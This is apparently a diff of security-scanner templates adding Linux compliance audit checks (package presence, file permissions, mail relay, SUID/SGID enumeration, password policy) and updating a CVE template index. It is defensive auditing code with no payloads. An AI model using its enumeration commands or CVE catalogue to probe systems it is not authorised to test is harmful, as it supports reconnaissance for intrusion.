if dpkg-query -W -f='${Status}' rsh-client 2>/dev/null | grep -q "install ok installed"; then
|
||||
echo "[cis-rsh-client-check:Policy-Fail] [rsh-client is installed] [CIS_FAIL]"
|
||||
else
|
||||
echo "[cis-rsh-client-check:Policy-Pass] [rsh-client is not installed] [CIS_PASS]"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: policy-pass
|
||||
words:
|
||||
- "Policy-Pass"
|
||||
|
||||
- type: word
|
||||
name: policy-fail
|
||||
words:
|
||||
- "Policy-Fail"
|
||||
# digest: 4a0a00473045022100f533077d301c1f42c4d08231ece267cb23ed7b5c19ba1d044c4b1a84dcc14b7f02207cd04519969a2f4f6d584e3b3d04aec08b4eb4f85c07337d2692f13c1ca23791:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,29 @@
|
||||
id: rw-hosts-file
|
||||
|
||||
info:
|
||||
name: /etc/hosts File Read/Write Check
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
The /etc/hosts file was writable by non-root users, allowing attackers to register malicious DNS mappings and redirect legitimate domains (pharming attacks). This check verified that /etc/hosts was owned by root and had appropriate permissions.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr/main/csap/notice/
|
||||
metadata:
|
||||
verified: true
|
||||
tags: local,linux,hosts,file,audit,kisa
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
stat -c "%U %G %a" /etc/hosts 2>/dev/null || echo "not-found"
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
part: response
|
||||
regex:
|
||||
- '^root\s+root\s+(600|644)$'
|
||||
# digest: 4a0a00473045022017a5a0e8603f419052c28b1a4247cf2ad1427ed06e840c85cb976599aba89ac50221009d55c0bde34158f8e63bfd6c2a090e801dd4271f75947ef4ad2d9baa133294ab:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,63 @@
|
||||
id: sendmail-postfix-execution-restrictions
|
||||
|
||||
info:
|
||||
name: Sendmail/Postfix Execution Restrictions Misconfigured
|
||||
author: songyaeji
|
||||
severity: medium
|
||||
description: |
|
||||
General users were not restricted from executing Sendmail with the q option, and the Postfix binary lacked proper permission controls.This misconfiguration allowed unauthorized users to manipulate the mail queue or disrupt mail delivery.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: local,linux,audit,sendmail,postfix,compliance
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
source: |
|
||||
if ! grep -qi 'restrictqrun' /etc/mail/sendmail.cf 2>/dev/null; then
|
||||
echo "[VULNERABLE] sendmail.cf missing 'restrictqrun'"
|
||||
else
|
||||
echo "[SAFE] restrictqrun option is set in sendmail.cf"
|
||||
fi
|
||||
|
||||
- engine:
|
||||
- bash
|
||||
source: |
|
||||
if [ -x /usr/sbin/postfix ]; then
|
||||
PERM="$(stat -c '%A' /usr/sbin/postfix 2>/dev/null || echo '')"
|
||||
if [ "$PERM" != "-rwxr-x---" ]; then
|
||||
echo "[VULNERABLE] /usr/sbin/postfix permission is '$PERM' (expected -rwxr-x---)"
|
||||
else
|
||||
echo "[SAFE] postfix binary permission is correct"
|
||||
fi
|
||||
fi
|
||||
|
||||
- engine:
|
||||
- bash
|
||||
source: |
|
||||
if getent group postfix >/dev/null 2>&1; then
|
||||
MEMBERS="$(getent group postfix | awk -F ':' '{print $4}')"
|
||||
echo "$MEMBERS" | grep -qw root || echo "[VULNERABLE] 'root' not in 'postfix' group"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: restrictqrun
|
||||
part: code_1_response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
|
||||
- type: word
|
||||
name: postfix-permission
|
||||
part: code_2_response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
|
||||
- type: word
|
||||
name: postfix-group
|
||||
part: code_3_response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
# digest: 4a0a004730450220532eeadc9b326aedf00c342a793b477a85a927a91a2fb1ae9caf341d4f41aa32022100cad5d3ff5d3bc482a80979d50961d98d11788235a82926fcff701b4028fff58c:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,59 @@
|
||||
id: smtp-open-relay
|
||||
|
||||
info:
|
||||
name: Linux SMTP Open Relay Misconfigured
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
Sendmail and Postfix were checked for proper restrictions against unauthorized relay attempts. Improper configurations allowed attackers to abuse the server for spam or denial-of-service (DoS) attacks.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: linux,local,kisa,audit,compliance
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
source: |
|
||||
if ps -ef | grep -v grep | grep -q sendmail; then
|
||||
if grep -q 'R\$.\* \$#error \$@ 5.7.1 \$: "550 Relaying denied"' /etc/mail/sendmail.cf 2>/dev/null \
|
||||
|| (test -f /etc/mail/access.db && echo "[INFO] Sendmail access.db exists (relay likely restricted)"); then
|
||||
echo "[SAFE] Sendmail relay restriction is configured."
|
||||
else
|
||||
echo "[VULNERABLE] Sendmail relay restriction is missing."
|
||||
fi
|
||||
else
|
||||
echo "[INFO] Sendmail is not active."
|
||||
fi
|
||||
|
||||
- engine:
|
||||
- bash
|
||||
source: |
|
||||
if systemctl is-active postfix | grep -q running; then
|
||||
mynetworks=$(grep -E '^\s*mynetworks\s*=' /etc/postfix/main.cf 2>/dev/null)
|
||||
relay_restrict=$(grep -E '^\s*smtpd_relay_restrictions\s*=.*permit_mynetworks' /etc/postfix/main.cf 2>/dev/null)
|
||||
reject_unauth=$(grep -E '^\s*smtpd_relay_restrictions\s*=.*reject_unauth_destination' /etc/postfix/main.cf 2>/dev/null)
|
||||
|
||||
if [[ -z "$mynetworks" || -z "$relay_restrict" || -z "$reject_unauth" ]]; then
|
||||
echo "[VULNERABLE] Postfix relay restrictions are missing or misconfigured."
|
||||
else
|
||||
echo "[SAFE] Postfix relay restrictions are properly configured."
|
||||
fi
|
||||
else
|
||||
echo "[INFO] Postfix is not active."
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: sendmail
|
||||
part: code_1_response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
|
||||
- type: word
|
||||
name: postfix
|
||||
part: code_2_response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
# digest: 490a00463044022007bbf2c607700ae13d4c405a692792e71588ae5ba345fdaf3607a3857d7407c6022078e9830186951fe00d87c820cb91bd2cde6a00a10675cdf22267e85a4a5ccf60:922c64590222798bb761d5b6d8e72950
|
||||
+2
-2
@@ -12,7 +12,7 @@ info:
|
||||
- https://www.cisecurity.org/benchmark/ubuntu_linux
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,ssh,linux,audit,ubuntu,benchmark
|
||||
tags: cis,local,ssh,linux,audit,ubuntu,benchmark
|
||||
|
||||
self-contained: true
|
||||
|
||||
@@ -58,4 +58,4 @@ code:
|
||||
name: policy-error
|
||||
words:
|
||||
- "Policy-Error"
|
||||
# digest: 4b0a00483046022100e49a751d372c40d34a054dbcb8f6a10f8703e5ab37531281bfe92823e9406c59022100d3e53c4e0c9add71c25452f81ce654ae390a031d123a3fbcbd75710031893ccf:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a0046304402203ea0832a8c4b917fb2679f7ad2ab9487115c54adfcff441be71dbb40d59da13a02201683771b631252e5015bae4fbebb7762c9b6af94da44c42224e548f8e0e4e3c8:922c64590222798bb761d5b6d8e72950
|
||||
+2
-2
@@ -13,7 +13,7 @@ info:
|
||||
- https://docs.datadoghq.com/security/default_rules/def-000-fqw/
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,ssh,linux,audit,ubuntu,benchmark
|
||||
tags: cis,local,ssh,linux,audit,ubuntu,benchmark
|
||||
|
||||
self-contained: true
|
||||
|
||||
@@ -43,4 +43,4 @@ code:
|
||||
name: policy-fail
|
||||
words:
|
||||
- "Policy-Fail"
|
||||
# digest: 490a00463044022013edf98f527f0171254a8ef0aafc2ac836f099ba47c7556913bc253e21a49878022072275743c7347b438d73fbc3b1b65b9498bea608ed176ab9925ba71139a92e2d:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a004630440220143cf5a634bf8bfdd48a2dd1285e72edce7ba02474d4c4eb3e848c2f1790093102207c2cf4247a5fe9536dde6756ef936b79aeb786b9c7311dd0461daf36f54ea233:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,48 @@
|
||||
id: strong-password-hashing
|
||||
|
||||
info:
|
||||
name: Ensure Strong Password Hashing Algorithm is Configured
|
||||
author: Th3l0newolf
|
||||
severity: high
|
||||
description: |
|
||||
The ENCRYPT_METHOD setting in /etc/login.defs specifies the algorithm used to hash passwords.It should be set to SHA512 or yescrypt, as weaker algorithms may expose passwords to brute-force attacks.
|
||||
remediation: |
|
||||
Edit /etc/login.defs and set ENCRYPT_METHOD to either SHA512 or yescrypt.Verify with: grep -Pi -- '^\h*ENCRYPT_METHOD\h+(SHA512|yescrypt)\b' /etc/login.defs
|
||||
reference:
|
||||
- https://www.cisecurity.org/benchmark/ubuntu_linux
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,local,cisecurity,audit,linux,ubuntu,password
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
|
||||
args:
|
||||
- "-c"
|
||||
- |
|
||||
HASH_METHOD_LINE=$(grep -Pi -- '^\h*ENCRYPT_METHOD\h+(SHA512|yescrypt)\b' /etc/login.defs | head -n1)
|
||||
if [ -n "$HASH_METHOD_LINE" ]; then
|
||||
VALUE=$(echo "$HASH_METHOD_LINE" | awk '{print $2}' | tr '[:upper:]' '[:lower:]')
|
||||
if [ "$VALUE" = "sha512" ] || [ "$VALUE" = "yescrypt" ]; then
|
||||
echo "[strong-password-hashing-check:Policy-Pass] [ENCRYPT_METHOD is $VALUE (valid)] [CIS_PASS]"
|
||||
else
|
||||
echo "[strong-password-hashing-check:Policy-Fail] [ENCRYPT_METHOD is $VALUE (invalid)] [CIS_FAIL]"
|
||||
fi
|
||||
else
|
||||
echo "[strong-password-hashing-check:Policy-Fail] [ENCRYPT_METHOD not set or malformed] [CIS_FAIL]"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: policy-pass
|
||||
words:
|
||||
- "Policy-Pass"
|
||||
|
||||
- type: word
|
||||
name: policy-fail
|
||||
words:
|
||||
- "Policy-Fail"
|
||||
# digest: 4a0a00473045022100cd6bf4ce19f4fb0e8d029237a76e2574dd9d82278c7a528d5f633f2f6201bc29022053f3b756734482a237fa8af52147eb59164c143c06d425727c1ddb5b4ad4340c:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,26 @@
|
||||
id: suid-sgid
|
||||
|
||||
info:
|
||||
name: Root SUID/SGID File Check
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
Files owned by root with SUID or SGID permissions could have led to privilege escalation.if misconfigured. This template detected such files for further review.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: linux,local,audit,compliance,privesc,kisas
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
find / -user root -type f \( -perm -4000 -o -perm -2000 \) -exec ls -lg {} \; 2>/dev/null | head -n 10
|
||||
|
||||
matchers:
|
||||
- regex:
|
||||
- "^-rws.*" # SUID
|
||||
- "^-..s.*" # SGID
|
||||
# digest: 490a00463044022061acb684d2780baafc78c626e925de50807f037fe4b67af44437df254d16889a02204668b1b627f4944cbe222aa6ac9e513e65b2646214cfaa42353e5044ea9624aa:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,40 @@
|
||||
id: syslog-rsyslog-permission
|
||||
|
||||
info:
|
||||
name: /etc/syslog and /etc/rsyslog.conf Permission Check
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
The /etc/syslog.conf or /etc/rsyslog.conf file was not owned by root or had insecure permissions,allowing attackers to manipulate logging settings to evade detection.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: linux,local,kisa,audit,compliance
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
stat -c "%U %G %a" /etc/rsyslog.conf 2>/dev/null || echo "not-found"
|
||||
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
stat -c "%U %G %a" /etc/syslog.conf 2>/dev/null || echo "not-found"
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
name: rsyslog
|
||||
part: code_1_response
|
||||
regex:
|
||||
- '^root\s+root\s+(600|644)$'
|
||||
|
||||
- type: regex
|
||||
name: syslog
|
||||
part: code_2_response
|
||||
regex:
|
||||
- '^root\s+root\s+(600|644)$'
|
||||
# digest: 4a0a00473045022057e616f66cdbb8c514a74c8b3d63748e4a400838e6e53d26b9dc1ff5f86796b2022100a6f9ca4535510294af9c6aef347cb8376c4ab27653abe22dae3bb0ad93d89d9a:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,43 @@
|
||||
id: talk-client
|
||||
|
||||
info:
|
||||
name: Ensure Talk Client is Not Installed
|
||||
author: Th3l0newolf
|
||||
severity: info
|
||||
description: |
|
||||
The talk package provides a client for user-to-user messaging on local or remote systems.Since it uses unencrypted communication, it should be removed to minimize security risks.
|
||||
remediation: |
|
||||
Ensure the talk package is not installed unless explicitly required.To remove the package, run: sudo apt-get remove talk -y
|
||||
reference:
|
||||
- https://www.cisecurity.org/benchmark/ubuntu_linux
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,local,cisecurity,audit,linux,ubuntu,talk
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
|
||||
args:
|
||||
- "-c"
|
||||
- |
|
||||
# Check if the talk package is installed
|
||||
if dpkg-query -W -f='${Status}' talk 2>/dev/null | grep -q "install ok installed"; then
|
||||
echo "[cis-talk-client-check:Policy-Fail] [talk is installed] [CIS_FAIL]"
|
||||
else
|
||||
echo "[cis-talk-client-check:Policy-Pass] [talk is not installed] [CIS_PASS]"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: policy-pass
|
||||
words:
|
||||
- "Policy-Pass"
|
||||
|
||||
- type: word
|
||||
name: policy-fail
|
||||
words:
|
||||
- "Policy-Fail"
|
||||
# digest: 490a0046304402201c824ba110feb30361f8e6b4084b712b8a4efcc1be7f11097fff3afd3a0018d102202224c841dd09c1e2eb771ab5a730dc6a9cc06e21a5fb5766591d0efd3ffd2475:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,54 @@
|
||||
id: tcpwrapper-access
|
||||
|
||||
info:
|
||||
name: TCP Wrapper Access Control Check
|
||||
author: songyaeji
|
||||
severity: low
|
||||
description: |
|
||||
Checked if IP and port restrictions were properly applied using TCP Wrapper (/etc/hosts.allow and /etc/hosts.deny). Reported systems as vulnerable if unrestricted remote access (e.g. Telnet, RSH, SSH) was possible.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: linux,local,audit,kisa,compliance
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
echo "[*] Checking /etc/hosts.deny (default deny policy)"
|
||||
if grep -Eq "^[[:space:]]*ALL:[[:space:]]*ALL" /etc/hosts.deny; then
|
||||
echo "[SAFE] /etc/hosts.deny has ALL:ALL policy"
|
||||
else
|
||||
echo "[VULNERABLE] /etc/hosts.deny is missing ALL:ALL (default deny)"
|
||||
fi
|
||||
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
echo "[*] Checking sshd allow policy in /etc/hosts.allow"
|
||||
if grep -Eq "^[[:space:]]*sshd" /etc/hosts.allow; then
|
||||
if grep -Eq "^[[:space:]]*sshd:[[:space:]]*ALL" /etc/hosts.allow; then
|
||||
echo "[VULNERABLE] sshd allows ALL hosts (too permissive)"
|
||||
else
|
||||
echo "[SAFE] sshd-specific allow policy found with restrictions"
|
||||
fi
|
||||
else
|
||||
echo "[VULNERABLE] No sshd-specific allow policy found"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: hosts.deny
|
||||
part: code_1_response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
|
||||
- type: word
|
||||
name: sshd
|
||||
part: code_2_response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
# digest: 4b0a00483046022100aaf438d9d1df7bb250887b6732f0c1238fd0baa0b46cdd3bfcb9294e178624dd0221008dc264a278dc80cdb7f50423f878c08b49b46e0c097519dadeddf0642e74072f:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,44 @@
|
||||
id: telnet-client
|
||||
|
||||
info:
|
||||
name: Ensure Telnet Client is Not Installed
|
||||
author: Th3l0newolf
|
||||
severity: info
|
||||
description: |
|
||||
The telnet and inetutils-telnet packages provide a Telnet client for remote access.Since Telnet uses unencrypted communication, these packages should not be installed to reduce the risk of credential theft and unauthorized access.
|
||||
remediation: |
|
||||
Ensure telnet and inetutils-telnet packages are not installed unless explicitly required.To remove them, run: sudo apt-get remove telnet inetutils-telnet -y
|
||||
reference:
|
||||
- https://www.cisecurity.org/benchmark/ubuntu_linux
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,local,cisecurity,audit,linux,ubuntu,telnet
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
|
||||
args:
|
||||
- "-c"
|
||||
- |
|
||||
# Check if telnet or inetutils-telnet package is installed
|
||||
if dpkg-query -W -f='${Package} ${Status}\n' telnet inetutils-telnet 2>/dev/null | grep -q "install ok installed"; then
|
||||
echo "[cis-telnet-client-check:Policy-Fail] [Telnet client is installed] [CIS_FAIL]"
|
||||
else
|
||||
echo "[cis-telnet-client-check:Policy-Pass] [Telnet client is not installed] [CIS_PASS]"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: policy-pass
|
||||
words:
|
||||
- "Policy-Pass"
|
||||
|
||||
- type: word
|
||||
name: policy-fail
|
||||
words:
|
||||
- "Policy-Fail"
|
||||
# digest: 4b0a00483046022100b01ae626cf301187f1100bc702af3f84281c84e01327ced2a652005464591dbc02210086c8454cbea9e2c67672a569489079b1a7bd0612571c8b43f7f51ed5f4fc5ebb:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,34 @@
|
||||
id: tftp-service-enabled
|
||||
|
||||
info:
|
||||
name: TFTP Service Should Be Disabled
|
||||
author: songyaeji
|
||||
severity: info
|
||||
description: |
|
||||
The tftp service was rarely needed and contained known vulnerabilities that could have been targeted by attackers.It was checked to confirm that the tftp service was properly disabled in the xinetd configuration.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: linux,local,code,audit,compliance,kisas
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
file="/etc/xinetd.d/tftp"
|
||||
if [ -f "$file" ]; then
|
||||
if grep -q "disable[[:space:]]*=[[:space:]]*yes" "$file"; then
|
||||
echo "[SAFE] tftp is disabled."
|
||||
else
|
||||
echo "[VULNERABLE] tftp is not disabled in $file."
|
||||
fi
|
||||
else
|
||||
echo "[SAFE] tftp service config file not found. Assuming not installed."
|
||||
fi
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
# digest: 490a0046304402207ca25deb7789e6bf0355d2057e97eb454211d418bc137f3d92febb0ec1f8863b02204a9bca89b9b27e6c9987aa23836df6dc1fdd1e7c35c09be66be3b5ed121805ea:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,53 @@
|
||||
id: weak-password-complexity
|
||||
|
||||
info:
|
||||
name: Linux Password Complexity Not Enforced
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
The system did not enforce password complexity policies. This allowed weak passwords to be used, increasing the risk of unauthorized access through brute-force or dictionary attacks.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr/main/csap/notice/
|
||||
metadata:
|
||||
verified: true
|
||||
tags: linux,local,audit,kisa,compliance,local
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
cat /etc/security/pwquality.conf 2>/dev/null || true
|
||||
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
grep pam_pwquality.so /etc/pam.d/system-auth /etc/pam.d/common-password 2>/dev/null || true
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
part: code_1_response
|
||||
name: password-quality
|
||||
regex:
|
||||
- 'minlen\s*=\s*[0-7]' # Password length < 8 characters
|
||||
- 'dcredit\s*=\s*0' # No digit requirement
|
||||
- 'ucredit\s*=\s*0' # No uppercase requirement
|
||||
- 'lcredit\s*=\s*0' # No lowercase requirement
|
||||
- 'ocredit\s*=\s*0' # No special character requirement
|
||||
condition: or
|
||||
|
||||
- type: word
|
||||
part: code_2_response
|
||||
name: pam
|
||||
words:
|
||||
- "pam_pwquality.so"
|
||||
|
||||
- type: word
|
||||
part: code_2_response
|
||||
words:
|
||||
- "enforce_for_root"
|
||||
negative: true
|
||||
# digest: 4a0a00473045022100c590d02bcda1018fc91528e71c3697ea8aa7d605e1b2980e9c67a4f1e0ed51fb0220494670f4487078a52c1fae89b39bdca73a6055d5bae5f7049afce07cda8c6ff8:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,38 @@
|
||||
id: writable-xinetdconf
|
||||
|
||||
info:
|
||||
name: /etc/(x)inetd.conf Permission Check
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
The /etc/xinetd.conf or /etc/inetd.conf file was writable by non-root users, allowing them to register malicious services that executed with root privileges. This check verified that the file was owned by root and had secure permissions.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr/main/csap/notice/
|
||||
tags: linux,code,audit,compliance,local
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
|
||||
source: |
|
||||
stat -c "%U %G %a" /etc/xinetd.conf 2>/dev/null || echo "not-found"
|
||||
|
||||
- engine:
|
||||
- bash
|
||||
|
||||
source: |
|
||||
stat -c "%U %G %a" /etc/inetd.conf 2>/dev/null || echo "not-found"
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
part: code_1_response
|
||||
regex:
|
||||
- '^root\s+root\s+(600|640|644)$'
|
||||
|
||||
- type: regex
|
||||
part: code_2_response
|
||||
regex:
|
||||
- '^root\s+root\s+(600|640|644)$'
|
||||
# digest: 4b0a00483046022100f9e2b4d4854c4faed398fd6c5e299a7c6d5dd3a8dcdd9f23628da4e55d6b46ea022100b6e27004a72fa0636b953155d65962851a0385ecd48edcf978aaea25541f5c84:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,4 +1,4 @@
|
||||
{"ID":"CVE-2000-0114","Info":{"Name":"Microsoft FrontPage Extensions Check (shtml.dll)","Severity":"medium","Description":"Frontpage Server Extensions allows remote attackers to determine the name of the anonymous account via an RPC POST request to shtml.dll in the /_vti_bin/ virtual directory.","Classification":{"CVSSScore":"5"}},"file_path":"http/cves/2000/CVE-2000-0114.yaml"}
|
||||
{"ID":"CVE-2000-0114","Info":{"Name":"Microsoft FrontPage Extensions - Information Disclosure","Severity":"medium","Description":"Frontpage Server Extensions allows remote attackers to determine the name of the anonymous account via an RPC POST request to shtml.dll in the /_vti_bin/ virtual directory.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2000/CVE-2000-0114.yaml"}
|
||||
{"ID":"CVE-2000-0760","Info":{"Name":"Jakarta Tomcat 3.1 and 3.0 - Exposure","Severity":"low","Description":"The Snoop servlet in Jakarta Tomcat 3.1 and 3.0 under Apache reveals sensitive system information when a remote attacker requests a nonexistent URL with a .snp extension.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2000/CVE-2000-0760.yaml"}
|
||||
{"ID":"CVE-2001-0537","Info":{"Name":"Cisco IOS HTTP Configuration - Authentication Bypass","Severity":"critical","Description":"HTTP server for Cisco IOS 11.3 to 12.2 allows attackers to bypass authentication and execute arbitrary commands, when local authorization is being used, by specifying a high access level in the URL.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2001/CVE-2001-0537.yaml"}
|
||||
{"ID":"CVE-2002-1131","Info":{"Name":"SquirrelMail 1.2.6/1.2.7 - Cross-Site Scripting","Severity":"high","Description":"The Virtual Keyboard plugin for SquirrelMail 1.2.6/1.2.7 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2002/CVE-2002-1131.yaml"}
|
||||
@@ -602,6 +602,7 @@
|
||||
{"ID":"CVE-2018-18778","Info":{"Name":"ACME mini_httpd \u003c1.30 - Local File Inclusion","Severity":"medium","Description":"ACME mini_httpd before 1.30 is vulnerable to local file inclusion.","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2018/CVE-2018-18778.yaml"}
|
||||
{"ID":"CVE-2018-18809","Info":{"Name":"TIBCO JasperReports Library - Directory Traversal","Severity":"medium","Description":"The default server implementation of TIBCO Software Inc.'s TIBCO JasperReports Library, TIBCO JasperReports Library Community Edition, TIBCO JasperReports Library for ActiveMatrix BPM, TIBCO JasperReports Server, TIBCO JasperReports Server Community Edition, TIBCO JasperReports Server for ActiveMatrix BPM, TIBCO Jaspersoft for AWS with Multi-Tenancy, and TIBCO Jaspersoft Reporting and Analytics for AWS contains a directory-traversal vulnerability that may theoretically allow web server users to access contents of the host system.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2018/CVE-2018-18809.yaml"}
|
||||
{"ID":"CVE-2018-18925","Info":{"Name":"Gogs (Go Git Service) 0.11.66 - Remote Code Execution","Severity":"critical","Description":"Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a \"..\" session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-18925.yaml"}
|
||||
{"ID":"CVE-2018-19127","Info":{"Name":"PHPCMS 2008 - Remote Code Execution via Template Injection","Severity":"critical","Description":"PHPCMS 2008 suffers from an unauthenticated RCE via template injection in type.php, where attacker-supplied content is written into a PHP template cache file, which is then executable.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-19127.yaml"}
|
||||
{"ID":"CVE-2018-19136","Info":{"Name":"DomainMOD 4.11.01 - Cross-Site Scripting","Severity":"medium","Description":"DomainMOD 4.11.01 is vulnerable to reflected cross-site scripting via assets/edit/registrar-account.php.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-19136.yaml"}
|
||||
{"ID":"CVE-2018-19137","Info":{"Name":"DomainMOD 4.11.01 - Cross-Site Scripting","Severity":"medium","Description":"DomainMOD 4.11.01 is vulnerable to reflected cross-site Scripting via assets/edit/ip-address.php.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-19137.yaml"}
|
||||
{"ID":"CVE-2018-19207","Info":{"Name":"WP GDPR Compliance \u003c 1.4.3 - Unauthenticated Call Any Action or Update Any Option","Severity":"critical","Description":"The WP GDPR Compliance plugin allows unauthenticated users to execute any action and update any database value. This vulnerability is due to the lack of proper validation in the Includes/Ajax.php file.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-19207.yaml"}
|
||||
@@ -665,6 +666,7 @@
|
||||
{"ID":"CVE-2018-7662","Info":{"Name":"CouchCMS \u003c= 2.0 - Path Disclosure","Severity":"medium","Description":"CouchCMS \u003c= 2.0 allows remote attackers to discover the full path via a direct request to includes/mysql2i/mysql2i.func.php or addons/phpmailer/phpmailer.php.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2018/CVE-2018-7662.yaml"}
|
||||
{"ID":"CVE-2018-7700","Info":{"Name":"DedeCMS 5.7SP2 - Cross-Site Request Forgery/Remote Code Execution","Severity":"high","Description":"DedeCMS 5.7SP2 is susceptible to cross-site request forgery with a corresponding impact of arbitrary code execution because the partcode parameter in a tag_test_action.php request can specify a runphp field in conjunction with PHP code.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2018/CVE-2018-7700.yaml"}
|
||||
{"ID":"CVE-2018-7719","Info":{"Name":"Acrolinx Server \u003c5.2.5 - Local File Inclusion","Severity":"high","Description":"Acrolinx Server prior to 5.2.5 suffers from a local file inclusion vulnerability.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2018/CVE-2018-7719.yaml"}
|
||||
{"ID":"CVE-2018-7841","Info":{"Name":"Schneider Electric U.motion Builder - Remote Code Execution","Severity":"critical","Description":"U.motion Builder 1.3.4 contains a remote code execution vulnerability caused by improper input sanitization, allowing attackers to execute arbitrary system commands through crafted input parameters.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-7841.yaml"}
|
||||
